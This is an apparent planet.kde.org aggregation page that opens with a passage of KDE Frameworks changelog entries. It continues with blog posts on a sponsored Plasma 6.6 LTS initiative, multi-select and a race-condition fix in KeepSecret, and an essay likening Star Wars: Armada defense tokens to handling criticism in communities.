  • File: strip local host from file:// URLs before accessing the path. Commit. Fixes bug #483297
  • KCoreDirListerCache: don't adopt duplicated entries from a changing dir. Commit.
  • Filewidgets: KUrlNavigator: fix applying URLs when text is not actually a relative path. Commit.
  • Kioworkers/ftp: Claim that root dir is writable during stat. Commit.
  • KUrlNavigator: Insert buttons at the correct place. Commit.
  • Autotests: cover the DropIntoNewFolder drop plugin. Commit.
  • Filewidgets: DropIntoNewFolder: do not tie folder creation to the plugin lifetime. Commit.
  • SocketConnectionBackend: skip the resume read when the socket is closed. Commit.
  • SocketConnectionBackend: limit the resume read workaround to Windows. Commit.
  • SlaveBase: take a connection backend instead of socket addresses. Commit.
  • ConnectionBackend: keep payload-reassembly length out of the shared Task. Commit.
  • ConnectionBackend: rename closeSocket() to close(). Commit.
  • ThreadConnectionBackend: drop the unused worker back-pointer. Commit.
  • Autotests: add ThreadConnectionBackend unit test. Commit.
  • Core: run in-process workers over ThreadConnectionBackend, not a socket. Commit. See bug #342056
  • Core: add ThreadConnectionBackend for in-process workers. Commit.
  • Core: make ConnectionBackend an abstract transport with a socket backend. Commit.
Kirigami
  • Clickable link OverlaySheet QML type. Commit. Fixes bug #522348
  • FormEntry/FormAction (cards): fix items alignments. Commit.
  • FormGroup/flat: Consider also invisible items for implicitWidth. Commit.
  • Fix tst_menudialog not actually doing anything. Commit.
  • Make the GlobalDrawer correctly size to its contents again. Commit.
  • Sensible height for license sheet. Commit.
  • FormEntry: don't show invalid leading ind trailing icons. Commit.
  • FormEntry: fix the subtitle when the contentITem doesn't have an indicator. Commit.
  • Default to small size in FormAction. Commit.
  • Same default width that kirigami-addons form has. Commit.
  • Port AboutItem to the new form layout. Commit.
  • FormEntry: items don't fill the width by default. Commit.
  • ScrollablePage: Fix enter animation running when changing focus. Commit. Fixes bug #515811
  • Work around missing support for QKeyShortcut in shortcut. Commit.
  • Icon: use QUrl::toLocalFile() for file: URL sources. Commit.
  • Icon: keep the aspect ratio of portrait images with roundToIconSize. Commit.
  • PlatformTheme: Only emit color changes if color actually changes. Commit.
  • Icon: snap the aspect-preserving painted size to device pixels. Commit.
  • Autotests: fix flaky keyboard list navigation test. Commit.
  • Autotests: fix flaky test_defaultFocusInScrollablePage. Commit.
  • NavigationTabBar: add scrolling/shortcuts for tab switching. Commit.
  • ToolBarPageHeader: Rephrase page.actions check to make more sense. Commit.
  • Make qml generation deterministic by adding explicit dependencies. Commit.
  • Port application template away from deprecated ki18n API. Commit.
  • Controls: Guard against re-setting the global header with the same URL in Page. Commit.
KMime
  • Limit the strlen search length as well. Commit.
  • Abort search for encoding word end on first error. Commit.
KNotifications
  • Fix since version in documentation. Commit.
  • Ensure we have notifyrc file for platform notification configuration. Commit.
  • Add API for showing the platform's notification configuration. Commit.
  • Remove message extraction in KNotifications. Commit.
KPackage
  • Remove obsolete doxygen file. Commit.
KService
  • Deprecate KSycoca::setupTestMenu. Commit.
  • Fix static build by exporting resource targets. Commit.
  • Remove LegacyDir from fallback applications.menu. Commit.
  • Add fallback applications.menu file. Commit.
  • Ksycocatype.h: provide version macros to consumers. Commit.
KTextEditor
  • Vi-mode: Avoid redundant BLOCK in the status bar. Commit.
  • Vi-mode: Fix synchronization of the view block selection. Commit.
  • Vi-mode: Fix block insert with tabs. Commit. Fixes bug #488801
  • Drag pixmap: use devicePixelRatio of highest screen device pixel ratio. Commit.
  • Drag pixmap: adapt hotspot to pixmap scaling. Commit.
  • Vi-mode: Add Ctrl-A command to insert mode. Commit.
  • Vi-mode: Implement column cursor swap for v-block mode. Commit.
  • Vi-mode: Update view selection when switching modes. Commit.
  • Vi-mode: Fix switching to vblock mode from another visual mode. Commit.
  • Vi-mode: Simplify switching to visual modes. Commit.
  • Vi-mode: Add the Date command. Commit.
  • Vi-mode: Fix cursor position after paste in insert mode. Commit.
  • Vi-mode: Fix cursor position after pasting block. Commit.
  • Vi-mode: Fix AltGr detection on Windows. Commit.
  • Renderer: Small refactoring of paintCaret method. Commit.
  • Renderer: Fix drawing of all the cursor styles. Commit.
  • Change icon for search plugin display options. Commit.
  • Fix animation artifact during animation run. Commit.
  • Avoid initial draw. Commit.
  • Cleanup more painting. Commit. See bug #522525
  • Cleanup render hint setting. Commit.
  • Ensure we abort completion on config changes. Commit. Fixes bug #521492
  • Vi-mode: Fix count-paste of a block. Commit.
KTextTemplate
  • Consider non-empty generic containers "true" as well. Commit.
  • Turn scriptable tag support in a plugin, as originally intended. Commit.
  • Use QLocale for currency value formatting. Commit.
  • Don't hardcode ISO date/time format. Commit.
  • Token.h: provide version macros to consumers. Commit.
  • Out-of-line the ScriptableTagLibrary destructor. Commit.
KUserFeedback
  • CI - Flatpak - Update Runtime to 6.11. Commit.
KWallet
  • Drop kwalletmanager launching from kwalletd. Commit.
  • Move org.freedesktop.secrets group to KConfigXT. Commit.
  • Ksecretd: Drop unused functions. Commit.
  • Ksecretd: Drop registering KWallet interface. Commit.
  • Use correct internal function to query local wallet. Commit.
  • Port to KConfigXT. Commit.
  • Drop code for writing default wallet in kwalletd. Commit.
  • Query NetworkWallet and LocalWallet from backend. Commit.
  • Fix localWallet with external backend. Commit.
  • Kwalletd: Remove config fallback for networkWallet(). Commit.
  • Actually set ok to true when defaultCollection succeeds. Commit.
  • Drop unused internal pamOpen from kwalletd. Commit.
  • Drop dead screensaver integration. Commit.
  • Kwalletd: fix use-after-move in retrieveCollection() returning null on first lookup. Commit. Fixes bug #522847. See bug #512135
  • Kwallet-query: persist writes to new entries. Commit. Fixes bug #491898
KWidgetsAddons
  • KColorCombo: support d'n'dropping colors to set the color. Commit.
  • KColorButton, KColorCombo: add contextmenu for Copy & Paste of color. Commit.
  • KColorCombo: fix missing render update on changing color from code. Commit.
  • Split off KColorMimeData copy into separate file, for shared internal usage. Commit.
  • KColorButton: mark drag properly as copy-only. Commit.
  • KUrlLabel: fix default value of useCursor flag to match docs & used corsor. Commit.
  • KAssistantDialog: Merge "next" and "finish" buttons. Commit.
  • Allow to test if on last visibile page. Commit.
  • KColorButton: use chained constructor calls over duplicating logic. Commit.
KXMLGUI
  • Avoid duplicate aboutToShow connections on the Settings menu. Commit.
  • KEditToolBar: show no-drop cursor with "Available" list for own items. Commit.
Oxygen Icons
  • This icon might be needed in the future and setting kinda ask for it but the name is kinda off as its bout x11 apps. Commit.
  • More cleanup. Commit.
  • Cleaning up an old icon not very svg. Commit.
  • Missing icon on system settings. Commit.
  • One more symbolic icon. Commit.
  • More versions and better visibility. Commit.
  • Some applets use these. Commit.
  • Better contrast. Commit.
  • New versions scale better simpler code. Commit.
  • Remove dangling actor symbolic link. Commit.
  • Missing symbolic potential icon. Commit.
  • More icons. Commit.
  • Missing icon on symbolic I think. Commit.
  • The remaining sizes. Commit.
  • Further improve Tokodon artwork. Commit.
  • Will do for now, smaller versions will actually have to be simplified. Commit.
  • Work in progress. Commit.
  • This link should not be needed ita a bug on the nm applet not requesting the symbolic variant AFIK. Commit.
  • Improved contrast on dark bg. Commit.
  • More icons sizes that were missing. Commit.
  • Improved version less noise. Commit.
  • More versions and improvements. Commit.
  • New symbolic icon. Commit.
  • Improved version after testing. Commit.
  • Symbolic version. Commit.
  • Missing icons on juk. Commit.
  • More sizes for juk. Commit.
  • One more size. Commit.
  • New app icon. Commit.
  • 16x16 version. Commit.
  • 22x22 version. Commit.
  • Minor fixes to previous commit. Commit.
  • Another icons and replacing an old one based on the new icon. Commit.
  • Still not fully convinced. Commit.
  • Missed this one. Commit.
  • Remaining icons sizes missing. Commit.
  • Missing icons and bug fixing. Commit.
  • Missed this one. Commit.
  • Icons: enforce current-color-scheme style id across applet SVGs. Commit.
  • Fixing minor bugs. Commit.
  • Final version. Commit.
  • And more progress ...WIP. Commit.
  • More progress. Commit.
  • Different direction. Commit.
  • Minor fixes to kamoso icon, introducins a new one for testing. Commit.
  • More osd icons. Commit.
  • DrKonqi icon for try. Commit.
  • Updated info. Commit.
  • New size. Commit.
  • Osd symbolic icons initial commit. Commit.
  • New symbolic icon. Commit.
  • Unintentional deletion. Commit.
  • New icons. Commit.
  • Symlink for kontacts. Commit.
  • New symbolic icon for use in system-try. Commit.
  • Add IM user online icon. Commit.
Prison
  • Include only needed headers instead of QtConcurrent module header. Commit.
Purpose
  • AlternativesView: Added a disabledPlugins property. Commit.
QQC2 Desktop Style
  • TextArea: Use Wrap instead of WordWrap. Commit.
  • Use StyleItem for item view background painting. Commit.
  • Allow QPA Platform Themes to avoid KIconEngine. Commit.
  • Prevent TextField height changes when switching echo modes. Commit.
Solid
  • Udisks2: StorageAccess: if '/' is a mountpoint, return that as filePath(). Commit.
  • Solidnamespace.h: provide version macros to consumers. Commit.
Syntax Highlighting
  • Don't do a reload on language change. Commit. Fixes bug #523233
  • Slint: Include upstream changes. Commit.
  • RTF: Fix unbounded context stack growth. Commit.
  • Cmake.xml: update syntax for CMake 4.4. Commit.
  • Fix listening for language changes, just react on the app instance event. Commit.
  • Update MIME types for shell scripts. Commit.
  • Meson: add meson.options to recognized extensions. Commit.
  • M3u: add m3u8 as one possible extension. Commit.
  • Cpp: Add qmqlintegration macros from Qt 6.5. Commit.

Thursday, 13 August 2026

Last year, Plasma developers canceled the long-term support (LTS) version of Plasma. Why?

We had a few reasons:

  • Almost nobody was using it; really only Kubuntu. Other discrete-release operating systems like Debian and openSUSE Leap generally ignored it.
  • It wasn’t a real LTS; we only backported some fixes for Plasma, and nothing for the Frameworks it was built upon, nor the Gear-aligned KDE apps it shipped with.
  • Our backporting of fixes was fairly blind since there weren’t CI resources to validate them, and nobody ever felt like testing them manually.

As a consolation prize for canceling the Plasma LTS product, we decided at the time to add an additional bug-fix release to the normal Plasma schedule, effectively lengthening the support period for each non-LTS Plasma version by 2 months — from 4 months to 6.

And as a result, there have been no Plasma 6 LTS versions.

…Until now!

Plasma 6.6 is now an LTS version. And not just Plasma 6.6 itself, but also a specific version of KDE Frameworks: 6.24, which will also receive backported bug-fixes. And Gear 25.12, too!

What changed?

It wasn’t a change to my or anyone else in KDE’s opinion of what a proper LTS product looks like. Rather, it was the Kubuntu Focus company stepping up to fund the creation of one, as announced today!

That’s right, Kubuntu focus is sponsoring a Plasma 6.6 LTS product for the next three years!

This consists of a couple of pieces:

First of all, Kubuntu Focus is sponsoring Techpaladin Software to fix bugs identified by Kubuntu 26.04 users. (full disclosure: I’m the CEO of Techpaladin Software). We’re not just backporting bug-fixes that happen to get made, but rather actively working with the Kubuntu folks to identify and fix pain points experienced by them and their users.

Plasma 6.6 will thus remain eligible for bug reports for the next three years, and we’ll do our best to get them fixed and backported.

Speaking of which, we’ll be backporting fixes for more than just Plasma 6.6 — relevant ones will also to Frameworks 6.24 and Gear 25.12, the versions that Kubuntu 26.04 ships with. The whole KDE part of the software stack!

Finally, Kubuntu Focus is sponsoring additional continuous integration resources owned by KDE e.V. to handle the load of validating changes made to these older versions. And they’ve been generous enough to sponsor more than was strictly speaking needed for the initiative, so KDE in general benefits from faster CI times even for non-LTS work!

We’re calling the whole thing the “Bullet-Proof KDE Initiative”.

This is what a real LTS initiative looks like, folks: people involved with an OS putting the resources into making a non-LTS upstream release into an LTS one, properly. With bug fixes — not just security fixes — backported to all levels of the software stack, not just the top one.

So I predict Kubuntu 26.04 promises to offer the best KDE experience of any Kubuntu release ever!

I know a lot of folks really enjoyed Kubuntu’s 24.04 release because of how it lined up with Plasma 5.27, which we made an LTS release for an extended period of time during the Plasma 6 transition. Well, this is the same thing, only with a great version of Plasma 6 included, and supported for even longer!

Aha, so you’re a sell-out who changed his opinions about LTS due to money!

My opinion remains the same: I don’t dislike LTS products — only fake ones that promise support but don’t actually deliver it. With this initiative, users of Kubuntu 26.04 get a real LTS product, with real support backed by a pair of commercial companies.

So this is all a commercial thing? KDE gone korporate?

It’s largely a commercial initiative between Kubuntu Focus and Techpaladin Software, yes — though KDE e.V. has signed off on the initiative and agreed to accept funding for the new CI resources.

Both companies are good citizens in the KDE ecosystem: KDE e.V. patrons, employers of engineers you’ve heard of, and providers of hardware and services to users of KDE software.

And the benefits accrue far beyond just the companies. Obviously Kubuntu 26.04 users benefit, even those who didn’t buy a computer from Kubuntu Focus. And as I mentioned earlier, all of KDE now has more general-purpose CI resources. Also, many of the LTS bugs that Techpaladin people have already fixed were affecting people on later Plasma versions, too! Everyone wins here.

So the commercial part is not a limitation on what anyone else gets for free or is allowed to do; it’s just an acknowledgement that creating a real LTS product costs money.

Wow, really cool! How can I help?

Anyone in the wider KDE community who’s interested in this kind of thing should feel comfortable backporting important and safe bug-fixes to the stable branches for Plasma 6.6, Frameworks 6.24, and Gear 25.12. There will be a Kubuntu CI runner that makes sure nothing breaks (at least, nothing that’s tested in the CI! So keep that test coverage high).

And if you happen to run discrete-release OS and would like to get in on the action, feel free to ship Plasma 6.6 and invest some of your own resources into it! It will be very welcome to see more people fixing bugs reported by LTS users that are still present on master, or backporting more recent bug-fixes to the LTS version. Again, everybody wins here!

Wednesday, 12 August 2026

Over the last two weeks, I worked on adding multi-select support for deleting multiple entries at once. It sounded like a straightforward feature at first, but it ended up leading me down an interesting debugging involving an asynchronous race condition.

Multi-Select with Ctrl+Click and Shift+Click (!44)

KeepSecret now supports the standard multi-selection behavior users expect from desktop applications. You can Ctrl+click to select or deselect individual entries, and Shift+click to select a range of entries. I also updated the right-click behavior so that if you right-click on an unselected entry, it becomes the current selection first.

Another improvement was simplifying the delete logic. Previously, deleting a single entry and deleting multiple entries followed different code paths. Now both actions share the same implementation, making the code cleaner and easier to maintain.

While working on this feature, I also fixed a few small UI issues. The entry details panel would sometimes open unexpectedly after a right-click, occasionally close when it shouldn't, or remain visible even after the selected wallet had been deleted. These edge cases are now handled correctly.

The Race Condition

Deleting multiple entries at once would sometimes fail with a confusing libsecret-CRITICAL error and a “Could not retrieve the secret value” message. The problem was inconsistent—it could happen with the first item or with one of the later items.

I first checked a few possible causes, like stale proxy-model indices and timing issues between deletion and model updates. Eventually, I found the real problem.

When an item was loaded, it also started an asynchronous request to fetch its secret. But the delete operation could run before that request finished. If the item was deleted first, the callback would later try to access an item that no longer existed.

Since we don't need the actual secret value when deleting an entry, I changed the loading process to skip that unnecessary request. This removed the race condition instead of trying to work around the timing issue.

Mobile-Friendly Selection Mode (!46)

I added a touch-friendly version of the desktop multi-select feature. Long-pressing an entry enters selection mode, where checkboxes appear and tapping entries toggles their selection. It reuses the existing selection logic, so the Delete Selected Secrets action works without any changes.

Nate Graham also suggested that this pattern could eventually be useful as a reusable component for other mobile apps. Marco Martin is testing the long-press behavior on a touch device next, since it currently also gets triggered by clicking and holding with a mouse.

Tuesday, 11 August 2026

My favorite tabletop game of all time is Star Wars: Armada, a Star Wars themed ship combat wargame.

Armada has many deep and tactically interesting features, but one of my favorites is the unique suite of defense tokens available to each spaceship to protect itself against attacks, from among the following six options:

  • Scatter – the attack is completely canceled. “I wasn’t where you were shooting”
  • Evade – cancel an attack die at long range, or re-roll one at short and medium range. “I dodged your attack, so it missed or became a glancing blow”
  • Brace – halve the damage. “Ouch, you hit me! But it wasn’t as bad as it could have been”
  • Redirect – move some damage to an adjacent hull zone. “You hit me, but not where I was weakest”
  • Contain – downgrade a critical hit to normal damage – “My damage control efforts turned the potential catastrophe into just a normal crisis”
  • Salvo – return fire. “You hit me, but I hit back”

There’s way more information here for people whose military nerd curiosity has been piqued.

Anyway, this is well and good for games about spaceships, but what’s the relevance? Let’s imagine that we humans have these defense tokens, too. And today I’d like to talk about how they relate not to physical attacks, but interpersonal ones.

You negligent fool! You nit-picking jerk!

Someone has blindsided you with unexpected criticism! The monkey brain sees this as an attack:

Imperial Star Destroyer by topcat at Wallpapers.com — https://wallpapers.com/wallpapers/imperial-star-destroyer-hus8fir1xr6vldsn.html

Red alert! Shields up! All hands to battle stations! Your blood pressure rises. You see red and gear up for a fight:

Bull Image from FreePNGimg.com

And what’s the most satisfying defense token to use? Salvo, for sure. Hit back:

Oh yeah, that’s pretty rich coming from you given how you messed up that other thing last week!

The angry email. The “call-out” social media post. The sharp reply on chat. The hyper-critical blog post. They feel good, right?

But Salvo doesn’t actually avoid any damage. in Armada, if you Salvo every attack, your ship explodes, with the only other effect being that the attacking ship gets hurt too — usually a lot less.

From the perspective of minimizing interpersonal friction in a group setting, Salvo is the worst defense token. It didn’t end the conflict created by this unexpected criticism; in fact, now the conflict is bigger and louder, because the criticizer has also gotten hurt. Other people may leap to their defense, or yours, and pretty soon the battle lines are established. What started as a community soon feels like a war zone.

Redirect isn’t great, either; in a community context it’s basically blame-shifting, which similarly doesn’t prevent any damage; it just moves it around, and the community still suffers.

Neither is is not what we want for our community if the goal is to remain friendly and welcoming!

Prevent and reduce damage

If we want to keep our ship flying community alive, we need to prefer the defense tokens that prevent or reduce damage:

  • Scatter: prevent conflicts in the first place by meeting expectations, being mindful of other people’s feelings, and maintaining your relationships.
  • Evade: notice impending conflicts and help make them fizzle out early. Be humble.
  • Brace: mend fences and fix problems so the conflicts that do erupt shrink over time.
  • Contain: keep conflicts localized to the participants, and prevent them from spiraling out of control. Don’t let drama spill out into the larger team or the whole organization — or heaven forbid into the media! Accept valid criticism and let others have the last word.

These social defense tokens are harder and less satisfying to use than Salvo and Redirect. But over the long term, they do a much better job.

Which brings us to KDE

Today I think KDE is known as a pretty friendly place. And when I look around, I see a lot of examples of people ­— consciously or unconsciously — using defense tokens in their interpersonal relationships that reduce harm rather than moving it around or sending it back.

It’s not perfect, of course. We all mess up sometimes. And a culture like this takes years to develop. But I think the strong social bonds between contributors inside KDE are self-evident, and represent a significant part of the organization’s success today.

So I want to congratulate KDE and encourage us all to keep it up! I know times are tough and a lot of things in the world feel like they’re exploding, or getting ready to. Things suck more than they should, and there’s always more we can do to improve it. But as long as we maintain our relationships with one another, it becomes a lubricant that makes all those things so much more possible to survive or achieve.

Read the original on planet.kde.org ↗